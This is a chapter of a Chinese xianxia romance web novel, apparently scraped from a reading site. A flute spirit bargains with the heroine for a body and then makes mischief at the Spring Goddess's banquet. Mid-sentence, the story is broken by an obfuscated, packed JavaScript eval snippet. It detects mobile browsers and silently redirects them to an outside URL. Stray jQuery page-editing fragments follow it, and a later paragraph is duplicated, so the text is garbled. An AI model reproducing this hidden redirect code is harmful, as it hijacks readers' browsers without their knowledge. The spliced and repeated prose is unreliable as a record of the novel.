34. 笛中影(二)

作品:《让神明失陷的正确姿势

    小葱终于忍无可忍,不耐烦道,“你如若再这么自说自话,就别怪我把你封回笛里!”


    南栖闻言,噗嗤一声笑了出来,手指轻轻点了点自己的红唇,戏谑地看向她:“行罢行罢,不逗你了。只是提醒一句,这夜有所梦若是过头了,可别怪止虚不听使唤。你可是它的主人,别被它瞧出什么不对劲来。”


    南栖微微挑眉,似笑非笑地看着小葱:“至于今日你身边那位仙君,我总觉得他有些古怪……”


    小葱皱了皱眉,疑惑地问:“什么古怪?”


    南栖轻轻扬起嘴角,漫不经心地说道:“只他的气息叫我觉得似曾相识。说不定那疤痕之下,藏着一张昳丽无双的俊脸呢。”


    小葱皱眉:“见过?你一个被封在笛子里的器灵,能见过什么仙君?”


    南栖轻笑了一声,笑意中却多了几分自嘲:“或许是我记错了吧。说来可笑,自己也记不清过去的事情了,如何分辨他人……”


    这句话一出,小葱怔住了,刚刚还带着几分警惕和防备的表情慢慢软了下来。


    她低头看了看手中的止虚,忽然觉得眼前的南栖与自己竟有些相似。


    过去的记忆如同被蒙尘的镜子,无论怎么擦拭都模糊不清。她也一样,茫然无依,只能顺着眼下的命运摸索着往前走。


    小葱低声道:“这样啊……那我们算是半斤八两,谁也别笑话谁。”


    南栖抬眸,笑意盈盈地看向小葱:“这样吧,见你运笛有些困难,我会吹笛,可以帮你。不过——得交换一下,我也有件事想请你帮忙。”


    小葱警惕地眯了眯眼:“什么事?”


    南栖神色淡然,唇边的笑意却未散:“我助你驾驭止虚,你帮我找个身体。”


    “身体?”小葱顿时愣住,脑中莫名浮现出一片荒凉的乱葬岗,隐约还伴着几声阴风凄厉的鬼啸。她忍不住打了个寒战:“你该不会是要我去……”


    南栖看出她的恐惧,笑得愈发愉悦:“想什么呢?我可没这么吓人。其实不难,只要找到一个容器即可。未必真是活生生的身体,只需合适的魄体,让我寄魂其中便可。”


    “魄体?”小葱仍有些茫然,皱眉看向她,“这就能让你自由了?”


    “当然。”南栖缓缓走近,红衣轻曳,目光灼灼,“你以为我甘心被困在这止虚之中?一旦有了寄魂之所,我便可重获自由。而你,也会有一个趁手听话的灵器,何乐而不为?”


    小葱半信半疑,抿了抿唇:“但,这个容器该怎么找?”


    南栖眉眼微挑,语气带着几分漫不经心:“你可知仙神下历劫凡?我在灵器冢待了许多年,见过不少仙神前来挑选灵器。有些灵器不是为了当法器使用,而是作为容器,用来下界历劫的魄体。”


    小葱微微一愣,旋即疑惑地问道:“那止虚为什么不能成为你的魄体?还会让你失去自由?”


    南栖抬眸,眸中闪过一丝复杂,叹道:“或许是我魂力太弱。我看那些以灵器为魄体的仙人,个个强大到足以碾压灵器。而止虚太强了……它的锋芒过于凌厉,我根本无法驾驭它。而且别看它是天家灵气,但杀气极重,甚至让我都摸不透它的脾性。在灵器冢里,更是没有任何灵器敢靠近它分毫。”


    南栖又轻叹一声:“而且别说是止虚,灵器冢里没有一个灵器能做我的身体。估计是因为它们都不是凡品。”


    “这么麻烦,那为何非得是灵器?”小葱皱眉,抬手摸了摸笛子,忍不住问道,“不能换个别的么?”


    南栖轻笑一声,声音轻飘飘的:“可以……其实并非一定要灵器,一些无灵的草木,比如莲藕、苕根之类的,只要得了机缘,也能成为魄体。”


    小葱闻言,轻笑:“你说得轻巧,也太高看我了吧!”


    这些人所谓的交换,真的能却如其实的换到他们想要的吗。


    不是交代查命簿,就是交代她寻魄体。


    她一普通小仙……虽立志上九霄,但目前来说还真是小啰啰一个。


    押宝也不带这么押!


    南栖抿唇一笑,语气懒散又轻快:“别这么激动,我又不是让你马上去找,只是让你帮我留意罢了。哪天真碰上合适的,稍微伸把手帮个忙就行。”


    “行行行,先欠着吧。”说着,她紧了紧手中的止虚,抬眸问道:“你不是说要教我吹笛?怎么教?


    南栖眨了眨眼,笑容带着几分促狭:“要教你,不若我吹一曲给你听。”


    小葱有些犹豫:“你不是说止虚很凶?万一它伤了你我怎么办?”


    南栖耸了耸肩,语气云淡风轻:“大不了受点皮外伤罢了,我都没怕,你怕什么?还是说——你嫌弃我用嘴碰你的宝贝笛子?”


    “我嫌弃你?”小葱毫不犹豫将止虚递过去,“你一个魂体有啥好嫌弃的!”


    南栖接过止虚,眼中闪过一丝笑意,手指在笛身上轻抚了一下,仿佛在安抚什么:“放心吧,它不会伤我。”


    忽然想到什么,她抬头问道:“这曲子……别人能听见吗?”


    “别人?当然听不见。魂体所奏,只能触及与你相连的灵识。”南栖挑眉,笑得有些意味深长。


    “这一曲,只为你一人而奏。”


    “来,听好了。”


    小葱托腮望着她,未及细问,笛音已然缓缓流出。


    初时轻柔,如清风拂山,带着晨露的凉意,旋律渐深,却如困于峡谷的河流,翻腾不息,无处可逃。


    音调忽而激昂,江海怒涛拍岸,刀剑争锋之势,凌厉之意直冲心神。


    小葱屏息,心口微颤。


    仿佛见一孤影立于尘世,火光映身,周遭无垠的黑暗吞噬一切。


    而旋律忽而转缓,低回沉静,恰如狂澜后归于平寂,悠长寂寥,如戏终帷落,尘埃轻扬。


    曲毕,室内重归静谧。


    小葱怔怔看向南栖,忍不住问:“这曲子……叫什么?是谁写的?”


    南栖低头轻抚笛身,神色莫测:“止虚的记忆,或是我的过往,谁知道呢?随口一吹,没必要追根溯源的。”


    小葱点了点头,似懂非懂,却不再追问。


    南栖忽然抬眸,嘴角勾起一抹浅笑:“那么接下来,我来教你——”


    话音未落,她的神色骤然一变,手指微微一顿,似是被什么刺痛般,低声倒吸了一口气。


    小葱一怔,连忙问道:“你怎么了?”


    南栖抬手按了按眉心,声音低了几分:“许是初次现形,魂力不济……看样子,我得暂时回去休整了。”


    她话还没说完,身影便已开始模糊,如雾气般渐渐淡去,最后只留下一缕轻轻荡漾的残光,散在空中。


    小葱一愣。


    真是个妖精似的器灵。


    ……


    小葱白日在竹林中练习咒术灵诀,夜晚则在房中一遍遍练习御笛。


    而深夜也总会有莫名的琴音传来,叫她一夜好眠无梦。


    寒风透过窗棂卷入,她拢紧披风,目光落在手中的止虚上,指尖微微摩挲着笛身。


    经过这段时间的苦心练习,她已能吹出完整的调子,甚至初步驾驭了止虚的一丝灵韵,能以笛音驱动周围的草木灵气,虽不算纯熟,却已颇见成效。


    眼看试炼在即,小葱心中愈加紧迫,连喘息的余地都舍不得留。正当她静心调息时,忽而一阵轻叩门声传来。


    小葱收起笛子,走到门边推开,只见一位仙侍垂首立于门外,恭敬道:“小葱仙子,我家主上今日略备薄酒,特请仙子赏光赴宴。”


    小葱微微一愣,低头看了看自己此刻的模样——练功时随意挽起的衣袖,发丝也有些凌乱,不由笑道:“不然我先整饬一下,你看我现在的样子,怎好去见春神大人?”


    仙侍闻言,却依旧垂首,语气平和:“主上说不过寻常私宴,仙子无需拘礼。”


    小葱无奈,只得随意整理了下衣衫,随仙侍前往春神殿。心中想着不过是寻常宴饮,可当踏入殿中,她却不由得一怔。


    案几整齐而高雅,盛宴丰盛得令人咂舌。贺雨霖端坐主位,一身精心打扮的模样,显然与平日的淡然大相径庭。


    她的青丝高绾,簪了一支玲珑碧玉步摇,一转头,步摇便发出细微的铃音,与她白玉般的肌肤相映,愈发显得雍容而又清丽。


    她的衣衫料子小葱此前从未见过,那缎面光滑如水,在烛光下折射出盈盈冷光,唇上略点了些淡彩,艳而不浓,整个人透着一股令人移不开眼的雅致与高贵。


    哪里像是随意家宴的模样……


    小葱再低头看看自己,淡色素衣素袍不说,袖角甚至还带着不知何时沾上的灰尘。


    相比之下,她只觉得自己像是误闯了哪家贵人设的宴席,浑身不自在。


    贺雨霖唇角微扬,语气温和如常:“来了?坐吧,不必拘谨。本殿既为主,本该早设宴款待,只是近来诸事繁杂,耽搁了几日。殿中也不可长久无人坐镇,明日我便要回去。这次备下薄宴,也是为了问问你的近况。”


    小葱有些忐忑地落座,抬眼扫了一圈,才发现自己坐在赢颉旁边,而对方神色如常,仿佛这场宴席于他而言无足轻重。


    当她抬头望向对面时,整个人顿时僵住了,眼睛也骤然睁大。


    这家伙怎么在这。


    那日拍下他的人!


    那人一手握着酒盏,目光漫不经心,嘴角挂着一抹若有若无的笑意,见小葱看过来,轻轻拱手道:“闻商,见过各位。不速之客,来凑个热闹,还望各位不要介意。”


    小葱的眉头瞬间拧起,目光警惕地打量着对方。


    闻商……这名字怎么这么耳熟?


    贺雨霖语气微顿,面上竟有尴尬之色:“殿下何故乱跑,到时候帝君问起,苛责的可是底下人。”


    明明先前已经派人将他安置在驿站,还特意叮嘱了仙侍盯紧,绝不让他随意乱走。却不知这位帝子用了什么法子,竟能如此从容地溜出来,还尾随仙侍寻到此处,大摇大摆地来到了这宴席上。


    真是个麻烦货。


    闻商唇边带着若有若无的笑意,轻声说道:“春神的人,自然是不会受到我父君的责罚,何必忧心呢?”


    小葱眨眨眼,恍然大悟。


    原来这就是天界帝君的风流儿子。


    她的思绪尚未理清,贺雨霖已随口问道:“眼看萤火试炼将至,帝君却仍未透露如何设试。不知小葱仙子修炼可有什么突破?”


    小葱顿了顿,虽不想在闻商面前多言,却还是恭谨回道:“还算平稳,但与这些天骄相比,小仙实在不敢妄言突破”


    这试炼可是为她对面的这人特设,她不敢多言。怕言多必失。


    贺雨霖却像没注意到她的局促,轻描淡写地说道:“这次试炼可是千载难遇的机会,各大仙家大族都来了不少拔尖的后生。譬如洛河仙君家的嫡子,布阵法术登峰造极,修为已至五品;还有北冥真君座下的大弟子,剑道出众,已有六品修为。各个来历不凡,非同小可。”


    小葱听着心头发紧,实在是不适应这种场合,只能用进食来缓解尴尬,于是笑着拿着双筷箸夹了最喜欢的酥肉送进嘴里。


    零星几次抬头,瞥见贺雨霖的目光有意无意地落在赢颉身上。


    小葱的视线也随之看去。


    他这几日都没来找自己,好像对自己很放心的样子。


    赢颉正执箸而食,动作优雅且从容,与平日那种冷冽疏离的气质不同。小葱看得一愣,心中竟生出几分意外。


    他竟也会主动吃东西?还挺斯文的……


    “在想什么呢?”一道戏谑的声音在耳畔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829490|158894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    响起,吓得小葱险些撞翻杯盏。


    她猛地转头,只见南栖不知何时出现在她身侧,唇角含笑,眉目间带着几分促狭地看着她。


    小葱压低声音,脸色微变:“你怎么跑到这里来了?这可是春神的宴席,万一被发现了怎么办?”


    她下意识地幻视四周。这春神殿中,可没有人是普通角色。春神法力高深,她害怕南栖被发现,更怕南栖这毫无顾忌的性子惹出麻烦。


    南栖倒是毫不在意,安慰道:“放心吧,他们看不到我,说话也听不见。你只要用心声和我交流便可。


    小葱半信半疑,环顾四周,生怕南栖的存在被贺雨霖或赢颉察觉。


    南栖:“不信我证明给你看。”


    话落,小葱就不知她是哪根筋搭错了,竟起身懒洋洋地走到赢颉身侧。


    她看着南栖伸手搭上他的肩膀,指尖轻轻点了两下。


    如此小葱的心都要跳到嗓子眼了。


    可她似乎还觉得不够,只见她微微俯身,靠近赢颉的耳侧,唇角勾起一抹戏谑的笑意,轻轻吹了口气,似有若无的挑衅更像是一种暧昧的挑弄。


    小葱下意识屏住呼吸,眼睛死死盯着赢颉的侧颜。


    他身形微动。


    小葱捏紧手指,他不会察觉的到吧!


    随即,他缓缓转过头,眼神冷淡,却精准地撞上了小葱那双震惊到失语的眼睛。


    “怎么了?何故一直盯着我?”他低声问道,声音平静,却带着一丝探究。


    小葱浑身一僵,急忙垂下眼帘,手中的筷子轻轻点了点碗边,试图掩饰自己的慌乱:“没、没什么,只是刚才……刚才酥肉有点咸。”


    赢颉微微蹙眉,神色冷淡地扫了她一眼,想起上次在云来居里品尝到食物的滋味,方才鬼使神差的,他忽而很想尝尝食物的味道。


    遂释放了自己和小葱通感的连接。


    自从建立了那该死的通感连接,他早已习惯偶尔从小葱的情绪中捕捉到些许波动。


    方才,他特意松开了与她的感应,却仍旧察觉到她的不对劲。


    可刚刚感应的那头,小葱虽颇有紧张,但却吃的很欢欣,不像是觉得这酥肉过咸。


    他略一回想,刚刚感应时,这小葱虽有几分紧张,却分明吃得津津有味,半点没有觉得酥肉咸的迹象。而且,这酥肉根本不咸。


    目光微微一沉,他语气不轻不重地说道:“你分明不觉得这酥肉咸。”


    小葱一听,差点呛住,瞪大眼看着他,语气气急败坏:“你又不是我,怎知我觉不觉得这酥肉咸?”


    “猜的。”赢颉淡淡应了一声,目光从她脸上掠过,随即夹起一块酥肉放入口中,动作从容,神色淡然,竟看不出丝毫情绪起伏。


    小葱被堵得一时语塞,只能低下头盯着自己的筷子,暗自恼火,却也不好再多辩驳。


    一旁的南栖却早已笑得腰都直不起来,整个人没骨头似的懒懒靠在赢颉的背后,捂着嘴无声地大笑,眉眼弯弯,尽是促狭之意。


    她似乎觉得不过瘾,准备抽身的时候,竟还故意抬起手,在赢颉的发间虚拢了一下,指尖轻轻划过,动作暧昧得仿佛道侣之间才会有的亲昵。


    小葱暗暗咬牙,心里已经快炸开了:“你给我回来!别再乱来了!”


    而这一切落入贺雨霖眼中,却仿佛另有一番意味。小葱那气急败坏的模样,在她看来,竟像是被赢颉调侃之后的羞恼;而赢颉那微垂的目光和偶尔淡淡的应答,更显得随性又透着几分宠溺。


    贺雨霖的笑容微微一滞,抬眼看了小葱一眼,笑意淡了几分,语气带着些揶揄:“小葱仙子,你们这般熟络,倒显得本殿和帝子多余了。”


    闻商挑眉,轻声笑着附和:“确实,我还以为苍术仙君从来不与人闲谈呢,原来小葱仙子有这个面子。”


    小葱一听,顿觉头皮发麻,急忙摆手解释:“春神大人,帝子殿下,您二位误会了!哪里有什么熟络,我和他不过是……”她正慌乱地想措辞,却被赢颉冷淡的声音打断。


    “不过是她刚才说你殿中的酥肉过咸。”


    他的语气平静得如一潭深水,既无波澜,也无情绪起伏,端着茶盏连头也没抬一下。


    殿内一时间静默无声,贺雨霖的目光在二人之间流连了片刻,随后浅浅一笑,唇角扬起一丝意味深长的弧度:“小葱仙子若觉得哪里不合口,本殿下次改便是。”


    殿内一时间安静了片刻,春神的目光在二人之间停留,唇角微扬,勾起一抹淡淡的笑意:“若小葱仙子觉得哪里不合口,本殿下次改便是。”


    小葱连忙摆手,语气里满是拘谨:“小仙怎敢,春神大人设宴,已经是莫大的恩典了。”


    贺雨霖轻轻颔首,未再多言,举杯饮了一口酒。


    小葱松了一口气,低头专心对付面前的酥肉,却听耳边突然响起一道慵懒带笑的嗓音:“这场家宴,八成是那位春神大人特意设的。啧啧,小葱啊,你呀,不过是个幌子。”


    小葱险些被嘴里的酥肉呛住,咳了两声,压低声音问:“什么幌子?”


    南栖掀袍坐在她身侧,姿态懒散随意,像是在自家后院闲谈。她单手托着下巴,另一只手从桌上拈起一枚果脯,意味深长地瞥了主位上的春神一眼,压低声音笑道:“你难道看不出来?这位女神仙,可是对你旁边的仙君大有用意。”


    小葱怔住,瞳孔微微一缩:“你别胡说!春神温婉高贵,赢颉他……他冷漠无情,连相貌都……”话到一半,她生生顿住。


    南栖像是抓住了什么,眼中笑意更深:“相貌怎么了?呵,九重天强大的仙君,又与春神结伴,若真有人想给他毁去容貌,九重天又有几人能强的过春神?为何高高在上的女神仙,能因这丑陋仙君轻飘飘的一句话,亲自来救你这个不相干的外人?”